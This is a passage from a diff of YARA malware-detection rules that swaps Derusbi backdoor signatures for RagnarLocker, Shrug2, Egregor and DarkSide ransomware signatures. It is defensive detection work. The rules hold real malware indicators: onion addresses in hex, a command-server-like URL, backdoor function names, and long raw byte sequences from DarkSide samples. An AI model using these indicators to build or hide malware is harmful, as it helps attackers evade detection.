"4b917b60f4df6d6d08e895d179a22dcb7c38c6a6a6f39c96c3ded10368d86273" + hash2 = "f570d5b17671e6f3e56eae6ad87be3a6bbfac46c677e478618afd9f59bf35963" strings: - $s1 = "SvcMain.dll" fullword ascii - $s2 = "rj.soft.misecure.com" fullword ascii - $s3 = "d:\\rouji\\SvcMain.pdb" fullword ascii - $s4 = "constructor or from DllMain." fullword ascii - $s5 = "Open File Error" fullword ascii - $s6 = "nRet == SOCKET_ERROR" fullword ascii - $s7 = "Oh,shit" fullword ascii - $s8 = "Paraing" fullword ascii - $s9 = "Hallelujah" fullword ascii - $s10 = "ComSpec" fullword ascii - $s11 = "ServiceMain" fullword ascii - $s12 = "SendTo(s,(char *)&sztop,sizeof(sztop),FILETYPE) == ERRTYPE" fullword ascii + $s1 = {63 69 64 3d 25 43 4c 49 45 4e 54 5f 49 44} + $s2 = {7a 73 61 33 77 78 76 62 62 37 67 76 36 35 77 6e 6c 37 6c 65 72 73 6c 65 65 33 63 37 69 32 37 6e 64 71 67 68 71 6d 36 6a 74 32 70 72 69 76 61 32 71 63 64 70 6f 6e 61 64 2e 6f 6e 69 6f 6e} + $s3 = {36 6d 6c 7a 61 68 6b 63 37 76 65 6a 79 74 70 70 62 71 68 71 6a 6f 75 34 69 70 66 74 67 73 33 67 69 7a 6f 66 32 78 34 7a 6b 6c 62 6c 6c 69 61 79 68 73 71 62 33 77 61 64 2e 6f 6e 69 6f 6e} condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 300KB and ( $s1 and $s2 ) or ( $s1 and $s3 ) or $s1 } -rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi : BACKDOOR FILE + +rule TRELLIX_ARC_Ragnarlocker_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the APT Derusbi ELF file" - author = "Marc Rivero | McAfee ATR Team" - id = "3b1c9644-7279-5e2c-8891-f03ca78cf3b7" - date = "2017-05-31" - modified = "2020-08-14" - reference = "https://attack.mitre.org/software/S0021/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Derusbi.yar#L1-L61" + description = "Rule to detect RagnarLocker samples" + author = "McAfee ATR Team" + id = "58874f27-3070-52c9-bd96-337fdaa4499b" + date = "2020-04-15" + modified = "2020-10-12" + reference = "https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomware-targets-msp-enterprise-support-tools/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_ragnarlocker.yar#L3-L45" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "0a83566a0540d28d1cc0ebee01d29d15ddc86cabff9044fd8a198b847ba24c50" + hash = "9706a97ffa43a0258571def8912dc2b8bf1ee207676052ad1b9c16ca9953fc2c" + logic_hash = "2f31da9182a1b47fb1e7e4459461de4c496ec323ff13e622d3ce27ac8cce1912" score = 75 quality = 68 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:ELF/Derusbi" + malware_type = "ransomware" + malware_family = "Ransom:W32/RagnarLocker" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "LxMain" - $s2 = "execve" - $s3 = "kill" - $s4 = "cp -a %s %s" - $s5 = "%s &" - $s6 = "dbus-daemon" - $s7 = "--noprofile" - $s8 = "--norc" - $s9 = "TERM=vt100" - $s10 = "/proc/%u/cmdline" - $s11 = "loadso" - $s12 = "/proc/self/exe" - $s13 = "Proxy-Connection: Keep-Alive" - $s14 = "Connection: Keep-Alive" - $s15 = "CONNECT %s" - $s16 = "HOST: %s:%d" - $s17 = "User-Agent: Mozilla/4.0" - $s18 = "Proxy-Authorization: Basic %s" - $s19 = "Server: Apache" - $s20 = "Proxy-Authenticate" - $s21 = "gettimeofday" - $s22 = "pthread_create" - $s23 = "pthread_join" - $s24 = "pthread_mutex_init" - $s25 = "pthread_mutex_destroy" - $s26 = "pthread_mutex_lock" - $s27 = "getsockopt" - $s28 = "socket" - $s29 = "setsockopt" - $s30 = "select" - $s31 = "bind" - $s32 = "shutdown" - $s33 = "listen" - $s34 = "opendir" - $s35 = "readdir" - $s36 = "closedir" - $s37 = "rename" + $s1 = {2D 2D 2D 52 41 47 4E 41 52 20 53 45 43 52 45 54 2D 2D 2D} + $s2 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 } + $s3 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 85 ?? 0F 84 } + $s4 = { FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 } + $s5 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 } + $op1 = { 0f 11 85 70 ff ff ff 8b b5 74 ff ff ff 0f 10 41 } + $p0 = { 72 eb fe ff 55 8b ec 81 ec 00 01 00 00 53 56 57 } + $p1 = { 60 be 00 00 41 00 8d be 00 10 ff ff 57 eb 0b 90 } + $bp0 = { e8 b7 d2 ff ff ff b6 84 } + $bp1 = { c7 85 7c ff ff ff 24 d2 00 00 8b 8d 7c ff ff ff } + $bp2 = { 8d 85 7c ff ff ff 89 85 64 ff ff ff 8d 4d 84 89 } condition: - ( uint32( 0 ) == 0x4464c457f ) and filesize < 200KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 4 of ( $s* ) and $op1 ) or all of ( $p* ) and pe.imphash ( ) == "9f611945f0fe0109fe728f39aad47024" or all of ( $bp* ) and pe.imphash ( ) == "489a2424d7a14a26bfcfb006de3cd226" } -rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Kernelmodule : BACKDOOR FILE +rule TRELLIX_ARC_Shrug2_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the Derusbi ELK Kernel module" - author = "Marc Rivero | McAfee ATR Team" - id = "1614a63d-c5d1-5ce1-a5b8-eb48325f60e6" - date = "2017-05-31" - modified = "2020-08-14" - reference = "https://attack.mitre.org/software/S0021/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Derusbi.yar#L63-L105" + description = "Rule to detect the Shrug Ransomware" + author = "McAfee ATR Team" + id = "34e59296-db7c-551b-8d48-ffea20f2b4bb" + date = "2018-07-12" + modified = "2020-10-12" + reference = "https://blogs.quickheal.com/new-net-ransomware-shrug2/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_shrug2.yar#L1-L30" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "0b86e96ef616e926f0d665e2bd013f2773461483176c68bd5e7c7d059ac13d78" + hash = "c89833833885bafdcfa1c6ee84d7dbcf2389b85d7282a6d5747da22138bd5c59" + logic_hash = "8c817b7fc4a0eada08b3d298c94b99a85c4e5a49a49d1c3fabdb0c6bbf56676b" score = 75 - quality = 70 - tags = "BACKDOOR, FILE" + quality = 20 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:ELF/Derusbi" + malware_type = "ransomware" + malware_family = "Ransom:W32/Shrug" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "__this_module" - $s2 = "init_module" - $s3 = "unhide_pid" - $s4 = "is_hidden_pid" - $s5 = "clear_hidden_pid" - $s6 = "hide_pid" - $s7 = "license" - $s8 = "description" - $s9 = "srcversion=" - $s10 = "depends=" - $s11 = "vermagic=" - $s12 = "current_task" - $s13 = "sock_release" - $s14 = "module_layout" - $s15 = "init_uts_ns" - $s16 = "init_net" - $s17 = "init_task" - $s18 = "filp_open" - $s19 = "__netlink_kernel_create" - $s20 = "kfree_skb" + $s1 = "C:\\Users\\Gamer\\Desktop\\Shrug2\\ShrugTwo\\ShrugTwo\\obj\\Debug\\ShrugTwo.pdb" fullword ascii + $s2 = "http://tempacc11vl.000webhostapp.com/" fullword wide + $s3 = "Shortcut for @ShrugDecryptor@.exe" fullword wide + $s4 = "C:\\Users\\" fullword wide + $s5 = "http://clients3.google.com/generate_204" fullword wide + $s6 = "\\Desktop\\@ShrugDecryptor@.lnk" fullword wide condition: - ( uint32( 0 ) == 0x4464c457f ) and filesize < 200KB and all of them + ( uint16( 0 ) == 0x5a4d and filesize < 2000KB ) and all of them } -rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Linux_Sharedmemcreation : BACKDOOR FILE + +rule TRELLIX_ARC_Ransom_Egregor : RANSOMWARE FILE { meta: - description = "Rule to detect Derusbi Linux Shared Memory creation" - author = "Marc Rivero | McAfee ATR Team" - id = "8d2db62e-22fa-5bbe-ab65-f294fc911b82" - date = "2017-05-31" - modified = "2020-08-14" - reference = "https://attack.mitre.org/software/S0021/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Derusbi.yar#L107-L130" + description = "Detect Egregor ransomware" + author = "Thomas Roccia | McAfee ATR team" + id = "b9f1a712-c168-5e0f-8b9e-cb03a6c43fc3" + date = "2020-10-28" + modified = "2020-10-28" + reference = "https://bazaar.abuse.ch/sample/004a2dc3ec7b98fa7fe6ae9c23a8b051ec30bcfcd2bc387c440c07ff5180fe9a/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_egregor.yar#L4-L31" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "095af979728f3b71e3192140306e4aa76011e07a25b20b0c5b3b98db41411714" + hash = "5f9fcbdf7ad86583eb2bbcaa5741d88a" + logic_hash = "8077c656eed0b1633da54f8d017d4eff122f2f4e486c4e1af6f6434ea33c0675" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:ELF/Derusbi" + malware_type = "ransomware" + malware_family = "Ransom/Egregor" actor_type = "Cybercrime" - actor_group = "Unknown" + actor_group = "egregor" strings: - $byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 } + $p1 = "ewdk.pdb" fullword ascii + $p2 = "testbuild.pdb" fullword ascii + $s1 = "M:\\" nocase ascii + $s2 = "1z1M9U9" fullword wide + $s3 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide condition: - ( uint32( 0 ) == 0x464C457F ) and filesize < 200KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 2000KB and hash.sha256 ( pe.rich_signature.clear_data ) == "b030ed1a7ca222a0923a59f321be7e55b8d0fc24c1134df1ba775bcf0994c79c" or ( pe.sections [ 4 ] . name == ".gfids" and pe.sections [ 5 ] . name == ".00cfg" ) and ( any of ( $p* ) or 2 of ( $s* ) ) } -rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Linux_Strings : BACKDOOR FILE +rule TRELLIX_ARC_RANSOM_Darkside : RANSOMWARE FILE { meta: - description = "Rule to detect APT Derusbi Linux Strings" + description = "Rule to detect packed and unpacked samples of DarkSide" author = "Marc Rivero | McAfee ATR Team" - id = "09e47580-9b20-5461-943e-32b932c36214" - date = "2017-05-31" - modified = "2020-08-14" - reference = "https://attack.mitre.org/software/S0021/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Derusbi.yar#L132-L173" + id = "ecbee92f-236a-5385-9566-502ef1c0aeda" + date = "2020-08-11" + modified = "2023-07-27" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Darkside.yar#L1-L23" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "0e95497c44a0c1d85936a6a072063720a771b7e1eb8da2377e54577e3fc2764e" + logic_hash = "be16d65911336809be103ea667167228e6445de85fd47ecd9ff8b3d91e056693" score = 75 - quality = 68 - tags = "BACKDOOR, FILE" + quality = 70 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:ELF/Derusbi" + malware_type = "ransomware" + malware_family = "Ransom:W32/DarkSide" actor_type = "Cybercrime" actor_group = "Unknown" + hash1 = "9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297" strings: - $a1 = "loadso" wide ascii fullword - $a2 = "\nuname -a\n\n" wide ascii - $a3 = "/dev/shm/.x11.id" wide ascii - $a4 = "LxMain64" wide ascii nocase - $a5 = "# \\u@\\h:\\w \\$ " wide ascii - $b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide - $b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide - $b3 = "ret %d" wide fullword - $b4 = "uname -a\n\n" wide ascii - $b5 = "/proc/%u/cmdline" wide ascii - $b6 = "/proc/self/exe" wide ascii - $b7 = "cp -a %s %s" wide ascii - $c1 = "/dev/pts/4" wide ascii fullword - $c2 = "/tmp/1408.log" wide ascii fullword + $pattern_0 = { CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC558BEC5053515256570FEFC0660FEFC033DB8B7D088B450C33D2B910000000F7F185C0740B0F110783C7104885C075F585D27502EB5892B908000000F7F185C0740B0F7F0783C7084885C075F585D27502EB3B92B904000000F7F185C0740A891F83C7044885C075F685D27502EB1F92B902000000F7F185C0740B66891F83C7024885C075F585D27502EB02881F5F5E5A595B585DC20800558BEC5053515256578B750C8B7D088B451033D2B910000000F7F185C074110F10060F110783C61083C7104885C075EF85D27502EB6892B908000000F7F185C074110F6F060F7F0783C60883C7084885C075EF85D27502EB4592B904000000F7F185C0740F8B1E891F83C60483C7044885C075F185D27502EB2492B902000000F7F185C0740E66891F83C60283C7024885C075F285D27502EB048A1E881F5F5E5A595B585DC20C00558BEC53515256578B4D0C8B75088B7D1033C033DBAC8AD8C0E80480E30F3C0072063C09770204303C0A72063C0F7702045780FB00720880FB09770380C33080FB0A720880FB0F770380C35766AB8AC366AB4985C975BE6633C066AB5F5E5A595B5DC20C00558BEC53515256578B75088B7D0C55FCB2808A0683C601880783C701BB0200000002D275058A164612D273E602D275058A164612D2734F33C002D275058A164612D20F83DB00000002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C074068BDF2BD88A03880747BB02000000EB9BB80100000002D275058A164612D213C002D275058A164612D272EA2BC3BB010000007528B90100000002D275058A164612D213C902D275058A164612D272EA568BF72BF5F3A45EE94FFFFFFF48C1E0088A06468BE8B90100000002D275058A164612D213C902D275058A164612D272EA3D007D000083D9FF3D0005000083D9FF3D8000000083D1003D8000000083D100568BF72BF0F3A45EE9FEFEFFFF8A064633C9C0E801741783D1028BE8568BF72BF0F3A45EBB01000000E9DDFEFFFF5D2B7D0C8BC75F5E5A595B5DC20800558BEC53515256578B7D088B450CB9FF00000033D2F7F185C074188BD868FF00000057E8AD00000081C7FF0000004B85DB75EA85D274075257E8970000005F5E5A595B5DC20800558BEC5351525657B9F0000000BEB2B640008B45088B108B58048B78088B400C89540E0C89440E08895C0E04893C0E81EA101010102D1010101081EB1010101081EF1010101083E91079D533D233C98B750C33DB8B7D108A81B2B6400002141E02D08AA2B2B64000438882B2B6400088A1B2B640003BDF7306FEC175DAEB0633DBFEC175D25F5E5A595B5DC20C00558BEC535152565733C0A3C2B84000A3C6B84000B9400000008D35B2B640008D3DB2B74000F3A58B7D088B15C2B840008B4D0C8B1DC6B840004F33C0029AB3B740008A82B3B740008AABB2B740008883B2B7400088AAB3B7400002C5478A80B2B74000FEC23007FEC975D18915C2B84000891DC6B840005F5E5A595B5DC2080053515256578D35047040008D3DCAB84000FF76FC56E891FEFFFF56E8864500008BD8FF76FC56E888FBFFFF8B46FC8D3406B915000000E85C010000AD5056E868FEFFFF56E85D4500008BD8FF76FC56E85FFBFFFF8B46FC8D3406B93D000000E833010000AD5056E83FFEFFFF5256E8334500008BD85AFF76FC56E834FBFFFF8B46FC8D3406B915000000E808010000AD5056E814FEFFFF5256E8084500008BD85AFF76FC56E809FBFFFF8B46FC8D3406B904000000E8DD000000AD5056E8E9FDFFFF5256E8DD4400008BD85AFF76FC56E8DEFAFFFF8B46FC8D3406B906000000E8B2000000AD5056E8BEFDFFFF5256E8B24400008BD85AFF76FC56E8B3FAFFFF8B46FC8D3406B901000000E887000000AD5056E893FDFFFF5256E8874400008BD85AFF76FC56E888FAFFFF8B46FC8D3406B903000000E85C000000AD5056E868FDFFFF5256E85C4400008BD85AFF76FC56E85DFAFFFF8B46FC8D3406B901000000E831000000AD5056E83DFDFFFF5256E8314400008BD85AFF76FC56E832FAFFFF8B46FC8D3406B902000000E8060000005F5E5A595BC3ADFF76FC56E80AFDFFFF515653E8F743000059ABFF76FC56E8FFF9FFFF8B46FC8D34064985C975D8C3558BEC81EC1401000053515256578D85ECFEFFFF50FF1516B940008BB5F0FEFFFF8BBDF4FEFFFF83FE05750583FF01720583FE057313B8000000005F5E5A595B8BE55DC3E9DA00000083FE05751883FF017513B8330000005F5E5A595B8BE55DC3E9BD00000083FE05751883FF027513B8340000005F5E5A595B8BE55DC3E9A000000083FE06751785FF7513B83C0000005F5E5A595B8BE55DC3E98400000083FE06751583FF017510B83D0000005F5E5A595B8BE55DC3EB6A83FE06751583FF027510B83E0000005F5E5A595B8BE55DC3EB5083FE06751583FF037510B83F0000005F5E5A595B8BE55DC3EB3683FE0A751485FF7510B8640000005F5E5A595B8BE55DC3EB1D83FE0A750583FF00770583FE0A760EB8FFFFFF7F5F5E5A595B8BE55DC3B8FFFFFFFF5F5E5A595B8BE55DC3558BEC83C4F853515256576A0068800000006A026A006A006800000040FF7508FF1526B940008945FC837DFCFF74226A008D45F850FF7510FF750CFF75FCFF1536B9400085C07409FF75FCFF153EB940005F5E5A595B8BE55DC20C008BFF558BEC5351525657837D0C0074728D3DAABA4000837D100075086A1057E842F8FFFFFF750CFF750868EFBEADDEFF15F6B84000FF750CFF750850FF15F6B840003107FF750CFF750850FF15F6B84000314704FF750CFF750850FF15F6B84000314708FF750CFF750850FF15F6B8400031470CB8AABA40005F5E5A595B5DC20C00B8000000005F5E5A595B5DC20C00558BEC5351525657FF7508FF15DEB8400083C4048BD88D045D02000000506A00FF35AEB64000FF15BEB940008BF085F67434FF750856FF15CEB8400083C4088D43016A006A0050FF75086AFF566A006A00FF1506BA4000566A00FF35AEB64000FF15C6B940008BC35F5E5A595B5DC2040053515657833DBABA400000750B68BABA4000FF15F2B8400068BABA4000FF15F2B840008BD15F5E595BC3558BEC5351525657BB080000008B7508E8C1FFFFFF83FB05750433C033D28944DEFC8954DEF84B85DB75E55F5E5A595B5DC204008D4000558BEC81EC0001000053515256578D45B083C00F83E0F089850CFFFFFF8D8560FFFFFF83C00F83E0F0898508FFFFFF8D8510FFFFFF83C00F83E0F0898504FFFFFF837D14000F84750300008BB504FFFFFF0F57C00F11060F1146100F1146200F1146308B75088BBD0CFFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F30837D1440732A8B4510898500FFFFFF8B9504FFFFFF8BFA8B750C8B4D148A440EFF88440FFF4985C975F389550C8955108BB50CFFFFFF8BBD08FFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F305556BD0A0000008B078B5F108B4F208B57308BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C68907895F10894F208957308B47148B5F248B4F348B57048BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894714895F24894F348957048B47288B5F388B4F088B57188BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894728895F38894F088957188B473C8B5F0C8B4F1C8B572C8BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C689473C } + $pattern_1 = { 70211F3B6E97C50000473D000000A000004602003EBBFF1F92CC558BEC5053515256570FEFC0660333DBFBFFEDFF8B7D088B450C33D2B9100000F7F185C0740B0F110783C710480A692EFB7F75F585D27502EB5892B9081C7F08B60F592E3B040A891F38049B641979F61F02661CD6FEBFEC023802881F5F5E5A595B585DC25D977E20634F8B750C9110110F1006252383FD94C61097EF6819AC59BA226F7F089DEFD8EE0119450F8B1E82C604A23E033232F1240EC602B9EC91C1A5F2048A1EA70CA12CCBD9A64D757D42E9FEFFBFAC8AD8C0E80480E30F3C0072063C09770204303C0A090FB66F6DBB5780FB140804150380C3300C0ADADFFE790F5766AB8AC3034985C975BE6646FF252CD6096564610C55FCB2806FDF86DB8A069701887801BBAD0299058A164FD62EFB4612D273E60A4F430C0F83DB7F2A7B602613C00A74068BDF2BD821EC63DB8A03644762EB9BB80142900BFBFB72EA2BC3BB1C7528B923C96F7FFB1F568BF72BF5F3A45EE94D01D248C1E008C3468BE8DE1EC26E0C0449303D007D4B83D9FF0DD93CD907058000D100BDB01BF250F04C33C974017417B1D8B0B61902561B96204B06E1C25D2B398BC75208111AEE18EDB9FF2660F4F8EFDDF7188BD8680E579B03D981C70B4B85DB75EAEE94CD5EFE7407521546B9F0256F7F6BB7BE02A6B24D50108B58048B7807400C895FF7FFDB540E03440E08895C0E04893C0E81EA10002D048168ED9FB1EB05EF83E91079D57EC0DFFFFDE4EC80108A814A02141E02D08AA20A436BFFBFDF88820688A1053BDF7306FEC175DAEB062C076E0B29A3D227F8A327A8C27DFBEDFE04C6B940998D35378D3D05A7B2F3A57DBC8FF7F31520B41D242A9A1BFB8DDD1CB38A8205AB28888305AA11D88DFFFE02C5478A800EFEC23007FEA0D189402F9684D8893D0D7C6BF07BF8CF6004A8CAFF76FC5630040549FF33FFDBAC59109C0C8B46FC8D3406B9150F477291BD05F0AD50283D52C252D961295A532A02B902BB04550608B902B90103E10843260299C3AD8615B2BF2751565333F959AB329FE0EEF874D8C33F81EC1468C885ECFE7777DFF0FFFF50FF4FA9168BB5F00C8BBDF40583FE055877F74BA483FF017205097313B86D00695BF36DFA8BE55DC36C073C2118751C3300D21C210234DF04D2FD06751785FF1B3C1555109AC11EC8B83DEB6A19023EA419644250033FC866DE2636690A75141864FECDEE4C1DDE00770A760EB8FFFFFF7F1B927C490DFF3083C4AEFD7A84F82D6A0068976A02080AFE8FB07509405A083B268945FC837DFCFF7422916D73DF188D45F85072020C1DFC34ECB0AE3672090C3E59746B43DACC8BFFCE3C0D7472E1AD44FB51AAAA0B04576A1057BC67BF3F16470868EFBEADDE3FA8F6105090BDB0670C31070E47040F92F50EC9080CB8624E071B5913D85CD6A8DE6D1FDF6AF9E4D88D045D6D50DAFF58F78F7D63AEC6BE8BF085F6743429562ADDDCE1CBCE088D430119FDBDFF56B027ECEF0A1AAA065639C68BC37077FB9C630484FAF4BAF10B6807A31DB0B14CF20A8BD12DE09A3871989ABBFD24E84013CB376608A783FB048DD2D90317B87FDEFC87DEF8C4E55D49C628308D17EE000DC32FF145B083C027E0F089850CE3FD202387B960051108102B99FE37040B7D14000F8475C41E0FA6DBC5F60F571C119846100320ED17EF8930B1BD4EB0104E17D32CDBCB1056105E3026074F57CDE6E26E5F304840732AE457008B6FF017BF954D8BFAFB4D148A3FFF88447B6DFBD30FFFA3F389550C02106E5359FDF0A964085556BD0A14078B5F6FFFDFBE354F208B5792F003F2C1C60733DE8BF303F0080933CEED2FFFF28BF103F30D33D68BF203F11233C68907892ECBB26D96898947143A243404CBD612202F3B24342CCBB22C0428380818CBB25C802838081820CBB22C3C0C1C2CDFB22C173C0C1C2CED0463476063760CED04750C53606363ED187510ED18D80863637510ED2C6424ED3036C2142C6524ED30234C818D6538ED3065386DA30DFC4D85ED0F851B975E5DF30702CBE5726BC80357105F1867206FB6022F972877307F380F0C024EE572B9DC1EFE56FE5EFE66FE6EA6D996CBFE76FE7E7F3D7F7F94A6699A7F7F7F7F7F9AE5C8708D6B5757575D8C966B57BED8FE2011BFE4B834118B9DA7274320837B2086F1B195000824E977EF1866C335DB32C500E4B2BD154E8B55BA338942200524B5655BFA24EB16831940030C6D370297C0237485CAFC86C21297EE1A818880308D7D80F3B920B16FE21DF2F3ABB900DF518D7580F810CD33E7FED1168D7604E2F92175128B06194DA6ECED078D7F17F473181911C9600933C441290CD5BB0A5B5B59F033E476B05505E00CEDAA9BBDB266E03AA5D908A6BFB960DDDFFCDD4FE0C64580018BA98F7EF05D0C81C379B981A849B1BE07D84150F8510851FC8DAB8360115F547B8D626FADBB1D508D3B50E874D3815240D3E0BF6563F02203740F9908199BBB4B1961646306AE9B780C830627307DC7E63041B73BDB06F8410ECB8A369391B8D51A68A41F000B8278E2C406CE1F0926023676729008AA12F80C1A24446B4B22170E54206317F226F8C37EF45B18B8C3F8EF238B71C65E4E62F475F8F46A0514066C737F01CE04EB43EB3F3D310A1B1CB5D84CD837C2EBC60D2C5A839117A1C12C4468F7BBA5196AD2C86AD6616CDBD8288E2E33ED3CAD1D14C3999178FF733C02CA74D72E71A1A14402EBFC1C332275D4565858CA5D4F846D35570F06E6AC62895FE9BF454B183B480875278D1F30AABEC220586C3BEA0F2C3A0E186BD5E850C63826070017E40793C5F30C0262CC0D776B110D6F68081017F4FDDD58B2C77568040110976256A3D8B3C4B2CC11D3D23DE2DB4636F677FC57FB571F34102048BC03A1088DA3ADD5456CD8C2BE227A30C3A3B18D922A9B1C2C6A9BDB095B62106E38E18B5E12C37BD86CB0403753132F6E56A573B367B10FBC59A8EE97CD409E848530675464A1183064849F924030C31A2C72E1248313F88D1DCF6C125B166CECFC53EC531BB519E4027936286BC0D263936C0F6A245FD4C70B24B15766738C09E89B4A2C585392A89C53325426816407AA7E5111040C8D9913E810EF52A937B527344930AA660C5E017648727CC960E3F07304ADA50B27ACDB8F2D60F0B5833EAF15107A641F05D019EBCCCBACDD2578763D4FA9744A4A0FFC0618E9E3147A6517C1293AECB517D9F88B122E0146336C2CD67D7C5224760B1D0E08506FC8096E7ACA96504FB6B1B1463FD3A6521911F424E1FC5A0142A91AD9A722EC3EEE6B18B26B1C3D7DB1D75EAFFC8D7531831C8535BF8E68EB803FAA5219367958D984534FBE3C1B690664B0B03CCC09209966A401B44050C83336C9ECA29D0004D88465B109215A244576CF58C96AF0346AF4AE9D3DB360BC0E3989C005A9247508F153A7A564036F644553F675A3D4253BAC3956120C5AEBE66EC682D922722568F4C058B36FD730DAEDB57D14450DAA0BD716168151969EAE69921D76C8D85E08626E130C9C11C00D07C160C7846481EDFF72C8A1BDE3DF9F813C18DEADBEEF980340EBF2C631F9EC4E04136DA456A4A1FC8EAC7E73C8C1E0068BD82373CCBB46C6DE01B16A1630408086A44CB2810B2C2F3616500A17F3DE5F0BAB8EAEA556561FFBE5B2F6150A374D358D83E6070A67B303593A5A56223D5A89E4C8254EB60FE492B3D95E56223D5E4FD9EC447286176256223D223972C96250561FB9E46C766656223D6641363B911C26276A56223D488E5C726A51F62E72362B90C7223D6E9D488E5C52C6367256472E399B223D724B963E9CCD4E247656223D7627922397537E427A56964BCE66223D7A545890672269727E72CCA759E47E0AC8A912678203C11A01B23557FBC2E08A53D968243106BE91ACB86472A8C319698152773D833C038C907C420BB3345B061008091C095EE251887010EBDE251B5A160CE0FD66B80904A10B9566ABE74C161266A4D19EE614ECA72DE3F8DC0F84A129461DF421D89E3DE828139F83DA062D4FEEF350ECD3AEFCF6EB6399F833D285D255B390DB6BFDC90530940107A842EB14BB162E2CC12B8B1BD4CB4D33C9192BFFAE400830040E4183F9080E04AC5F713904576A57014C7042E2C8681122C63664F381D8ED9E70B470B8182C883DA58E0EFFE62C080B5B180C256C469348D2C1B408AC1CEC840704300A44AA0EBBB6044381DC0C4BA62EEA1D487CDA4AE10E58D4DC194871F43A5F5DB37064FBF086F034798B83C9A26B096057B0571E7F83172666FD47FE5CFA66C704475C00D565F15702444702D9EB3D62598B151A11EA0B3531B614F06592BA0E46348A5D3932DAC81B1A386C90410C03802C26E0B1CCCD19502B1B035C4379AA3ACD09D534968523BBEB6953CCECBFEC511DB68B27C8F4CB75EC39326FD94ED2820BEB1E27F41821E12E7548293B02750759AC12C23B9616FF57C6082997A5EC1C846C4EC80C6D026D0630968DE46D06251CA43358A41AF84F9CD06CEBA91B5C107EDA562CE1F7C049A5AE83702B0CCB523367A364CD46000B08DD35AD8C91877A08E63C5798CC25C3AC9C86AD927DC615A3A3DC53E7CA217946B6431A1010E864489E911414F0183891906718F8A44D6148561EEBA0D3363ACC9DD08BC8C45110BA36D092BA42CE140510960626A37C49D0736C658C67F0524156E89E609103 } condition: - uint32( 0 ) == 0x464C457F and filesize < 200KB and ( ( 1 of ( $a* ) and 4 of ( $b* ) ) or ( 1 of ( $a* ) and 1 of ( $c* ) ) or 2 of ( $a* ) or all of ( $b* ) ) + $pattern_0 or $pattern_1 and filesize < 5831344 } -rule TRELLIX_ARC_Apt_Miniasp_Pdb : TROJAN FILE +rule TRELLIX_ARC_RANSOM_Darkside_DLL_May2021 : RANSOM FILE { meta: - description = "Rule to detect MiniASP based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "2e7e2990-5e7f-52b0-884a-fcb54b2f5488" - date = "2012-07-12" - modified = "2020-08-14" - reference = 